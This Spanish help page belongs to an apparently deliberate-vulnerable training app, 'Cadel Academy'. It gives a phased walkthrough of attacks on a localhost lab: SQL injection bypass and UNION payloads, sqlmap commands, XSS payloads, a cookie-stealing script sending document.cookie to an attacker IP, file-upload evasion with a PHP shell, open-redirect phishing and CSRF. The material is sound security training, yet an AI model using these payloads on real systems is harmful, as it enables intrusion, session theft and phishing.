Centro de Ayuda

Encuentra respuestas a las preguntas frecuentes y guías sobre cómo utilizar Cadel Academy.

Al activar el Modo Vulnerable, la aplicación modifica su comportamiento en tiempo real mediante un middleware. Desactiva mecanismos de defensa críticos como la sanitización de salida (HTML Escaping), el uso de consultas SQL parametrizadas y los atributos de seguridad en las cookies (HttpOnly, Secure), exponiendo intencionalmente la superficie de ataque para fines educativos.

Verifique que está operando en el puerto 8080 (HTTP). El payload admin' OR '1'='1' -- - debe inyectarse en el campo de usuario. Es crucial incluir los comentarios finales (-- -) para anular la validación de la contraseña en la consulta SQL subyacente.

Para una auditoría completa, se recomienda un stack estándar de pentesting: Burp Suite o OWASP ZAP (Proxy de intercepción), SQLMap (Explotación de bases de datos), Nmap (Reconocimiento de red) y un navegador con herramientas de desarrollo (DevTools).

Si usas Docker en Windows/Mac, escanea localhost. Si estás en Linux, asegúrate de que el firewall no bloquee los puertos 8080 y 8443.

Se recomienda encarecidamente NO subir información personal o sensible. Aunque el entorno está contenerizado, las prácticas de seguridad operativa (OpSec) dictan tratar cualquier entorno de laboratorio como potencialmente comprometido. Utilice archivos de prueba ficticios.

Para restablecer el estado inicial, debe eliminar los volúmenes persistentes de Docker. Ejecute: docker-compose down -v seguido de docker-compose up --build. Esto regenerará la base de datos con los datos semilla predeterminados.

El Reflected (Buscador) rebota el script inmediatamente y solo afecta a quien hace clic en el enlace malicioso. El Stored (Foro/Chat) guarda el script en la BD y ataca a cualquiera que visite la página.

Muchos navegadores modernos evitan el proxy para direcciones de bucle local. Configure Burp Suite para escuchar en todas las interfaces o acceda a la aplicación mediante la IP de su adaptador de red local (ej. 192.168.x.x) en lugar de localhost.

La ausencia del flag HttpOnly permite que el motor JavaScript del navegador acceda al objeto document.cookie. Un atacante puede inyectar código JS (XSS) que lea este valor y lo exfiltre a un servidor bajo su control, permitiendo la suplantación de identidad (Session Hijacking).

Sí, especialmente para la vulnerabilidad de Subida de Archivos. Puedes generar un payload con msfvenom e intentar subirlo para obtener una sesión Meterpreter.

Este comportamiento es esperado. El entorno utiliza certificados SSL autofirmados (Self-Signed Certificates) generados localmente, los cuales no son reconocidos por las Autoridades de Certificación (CA) públicas. Debe añadir una excepción de seguridad en su navegador para acceder.

Cadel Academy se centra en la comprensión técnica más que en un formato CTF (Capture The Flag) tradicional. Consulte la sección Blog para análisis detallados y metodologías de explotación. El éxito se define por la reproducción efectiva de la vulnerabilidad.

En esta versión de demostración pública, las redirecciones reales a sitios externos están bloqueadas para evitar abusos. La página de aviso confirma que la vulnerabilidad existe y que el ataque habría tenido éxito en un entorno real.
1. SQL Injection (Login)
Fase 1: Identificación

La inyección de caracteres especiales como la comilla simple (') en el campo de usuario provoca errores de sintaxis SQL, revelando la vulnerabilidad.

Fase 2: Automatización (SQLMap)

Comando para enumeración de bases de datos:

sqlmap -u "http://localhost:8080/login" --data "username=admin&password=123" --dbs --batch
Fase 3: Explotación Manual (Auth Bypass)

Payload para autenticación administrativa:

admin' OR '1'='1' -- -
1.1 SQL Injection (Buscador de Chat)
Fase 1: Enumeración Booleana

Listar todos los registros anulando el filtro WHERE:

a' OR '1'='1
Fase 2: Exfiltración vía UNION

Extracción de metadatos del servidor (versión de MySQL):

' UNION SELECT 1, @@version -- -
Fase 3: Automatización Autenticada

Como requiere login, debes pasar la cookie de sesión a SQLMap:

sqlmap -u "http://localhost:8080/chat?q=test" --cookie="session=TU_COOKIE_AQUI" --dbs
2. XSS Reflected (Buscador)
Fase 1: Prueba de Concepto (PoC)

Verificación de interpretación HTML básica: <h1>TEST</h1>. Si se renderiza como título, proceda a inyección JS.

Fase 2: Fuzzing con Burp Intruder

Utilice listas de payloads (ej. Polyglots) en el parámetro q para identificar filtros o WAFs (Web Application Firewalls).

Fase 3: Payload Avanzado

Payload capaz de evadir filtros básicos y ejecutarse en múltiples contextos:

"><svg/onload=alert(1)>
3. XSS Stored (Foro, Chat y Perfil)
Fase 1: Identificación de Vectores

Puntos de inyección persistente: Títulos de Foro, Mensajería Privada y Biografía de Usuario. Payload de prueba: <script>alert(1)</script>.

Fase 2: Exfiltración de Sesión (Cookie Stealing)

Script para enviar la cookie de la víctima a un servidor atacante (requiere listener, ej. nc -lvp 9000):

<script>fetch('http://TU_IP:9000/?cookie=' + document.cookie)</script>
Fase 3: Defacement Persistente

Alteración visual permanente del sitio mediante inyección de estilos CSS: <style>body {background: black !important; filter: invert(1);}</style>.

4. Unrestricted File Upload
Fase 1: XSS vía Archivo

Subida de archivo payload.html conteniendo JavaScript. Al ser servido por el mismo origen, el script se ejecuta con confianza total.

Fase 2: Evasión de Filtros

Técnicas comunes: Doble extensión (shell.php.jpg), inyección de Null Byte (shell.php%00.jpg) o manipulación del Content-Type.

Fase 3: Automatización vía CURL

Puedes automatizar la subida sin usar el navegador:

curl -X POST -F "file=@shell.php" -F "title=Hacked" http://localhost:8080/forum -b "session=TU_COOKIE"
5. Gestión de Sesiones
Fase 1: Auditoría de Atributos

Inspección mediante DevTools (F12 -> Application -> Cookies). Verificar ausencia de flags HttpOnly (acceso JS) y Secure (transmisión HTTP).

Fase 2: Prueba de Concepto (Session Hijacking)

Copiar el valor de session_id. Inyectarlo manualmente en un navegador diferente o sesión de incógnito. Verificar si se obtiene acceso a la cuenta original.

Fase 3: Escaneo Pasivo

Utilizar el escáner pasivo de OWASP ZAP para detectar automáticamente configuraciones de cookies inseguras en todo el sitio.

6. Open Redirect
Fase 1: Descubrimiento de Parámetros

Identificar parámetros en la URL que acepten destinos, como next, url, o target. En este lab: /redirect?target=....

Fase 2: Evasión de Filtros

Si hay filtros, probar esquemas alternativos (//google.com), codificación URL, o caracteres de escape.

Fase 3: Phishing

Construir un enlace que parezca legítimo (dominio de la academia) pero redirija a un sitio malicioso para robar credenciales.

7. Cross-Site Request Forgery (CSRF)
Fase 1: Inspección de Tokens

Revisar el código fuente de los formularios (ej. Cambio de Contraseña). Verificar si existe un campo oculto csrf_token o similar.

Fase 2: Generación de PoC

Crear una página HTML maliciosa que envíe automáticamente una petición POST al endpoint vulnerable (ej. /profile) al ser visitada por la víctima.

Fase 3: Ejecución

Si la aplicación acepta la petición basándose solo en las cookies de sesión (sin validar origen o token), el ataque es exitoso.

Extra: Reconocimiento con Nmap
Fase 1: Descubrimiento de Servicios
nmap -p- localhost
Fase 2: Enumeración HTTP (NSE Scripts)

Uso de scripts NSE para descubrir rutas ocultas y analizar robots.txt:

nmap -p 8080 --script http-enum localhost
Fase 3: Fingerprinting
nmap -sV --script banner -p 8080 localhost